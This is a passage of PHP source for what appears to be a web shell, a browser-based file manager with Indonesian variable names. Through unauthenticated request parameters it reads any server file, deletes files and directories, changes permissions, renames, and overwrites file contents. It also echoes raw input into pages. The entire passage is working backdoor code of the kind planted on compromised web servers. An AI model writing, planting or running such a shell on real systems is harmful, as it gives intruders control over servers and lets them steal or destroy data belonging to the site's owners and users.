placeholder="filename"> <button type="submit" name="linknya" class="btn btn-primary">Fetch</button> </div> </div> </form> </div> <?php if (isset($_GET['fileloc'])) { echo "<div class='file-preview'>"; echo "<div class='section-title'>File: ".$_GET['fileloc']."</div>"; echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>"; echo "</div>"; author(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete directory"); } else { green("Directory deleted"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete file"); } else { green("File deleted"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { echo "<div class='edit-form'>"; echo "<div class='section-title'>chmod ".$_POST['path']."</div>"; echo '<form method="post"> <div class="form-row"> <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" placeholder="0644" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="ubahmod"> <button type="submit" name="chm0d" class="btn btn-primary">Apply</button> </div> </form>'; if (isset($_POST['chm0d'])) { $cm = @chmod($_POST['path'], $_POST['perm']); if ($cm == true) { green("Permission changed"); } else { red("Permission change failed"); } } echo "</div>"; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Renamed successfully"); } else { red("Rename failed"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "<div class='edit-form'>"; echo "<div class='section-title'>mv ".$_POST['path']."</div>"; echo '<form method="post"> <div class="form-row"> <input name="newname" type="text" value="'.$namaawal.'" placeholder="new name" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="gantinama"> <button type="submit" name="gantin" class="btn btn-primary">Rename</button> </div> </form>'; echo "</div>"; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @file_put_contents($_POST['path'], $_POST['src']); if ($edit == true) { green("File saved"); } else { red("Save failed"); } } echo "<div class='edit-form'>"; echo "<div class='section-title'>nano ".$_POST['path']."</div>"; echo '<form method="post"> <textarea name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea> <div class="form-row"> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="edit"> <button type="submit" name="gasedit" class="btn btn-primary">Save</button> </div> </form>'; echo "</div>"; } ?> <div class="file-table"> <table> <thead> <tr> <th>Name</th> <th style="width: 80px;">Size</th> <th style="width: 100px;">Permissions</th> <th style="width: 120px;">Actions</th> </tr> </thead> <tbody> <?php foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo "<tr> <td> <a href=\"?path=".$lokasi."/".$dir."\" class='file-link dir-link'> ð ".$dir." </a> </td> <td class='size'>--</td> <td class='permissions "; if(is_writable($lokasi."/".$dir)) echo 'writable'; elseif(!is_readable($lokasi."/".$dir)) echo 'readonly'; echo "'>".statusnya($lokasi."/".$dir)."</td> <td> <form method='POST' action='?pilihan&path=$lokasi' class='action-form'> <select name='pilih'> <option value=''>--</option> <option value='hapus'>rm</option> <option value='ubahmod'>chmod</option> <option value='gantinama'>mv</option> </select> <input type='hidden' name='type' value='dir'> <input type='hidden' name='name' value='$dir'> <input type='hidden' name='path' value='$lokasi/$dir'> <button type='submit' class='btn'>go</button> </form> </td> </tr>"; } foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).'M'; } else { $size = $size.'K'; } echo "<tr> <td> <a href=\"?fileloc=$lokasi/$file&path=$lokasi\" class='file-link'> ð $file </a> </td> <td class='size'>".$size."</td> <td class='permissions "; if(is_writable("$lokasi/$file")) echo 'writable'; elseif(!is_readable("$lokasi/$file")) echo 'readonly'; echo "'>".statusnya("$lokasi/$file")."</td> <td> <form method='post' action='?pilihan&path=$lokasi' class='action-form'> <select name='pilih'> <option value=''>--</option> <option value='hapus'>rm</option> <option value='ubahmod'>chmod</option> <option value='gantinama'>mv</option> <option value='edit'>nano</option> </select> <input type='hidden' name='type' value='file'> <input type='hidden' name='name' value='$file'> <input type='hidden' name='path' value='$lokasi/$file'> <button type='submit' class='btn'>go</button> </form> </td> </tr>"; } ?> </tbody> </table> </div> <?php author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?> </div> </body> </html>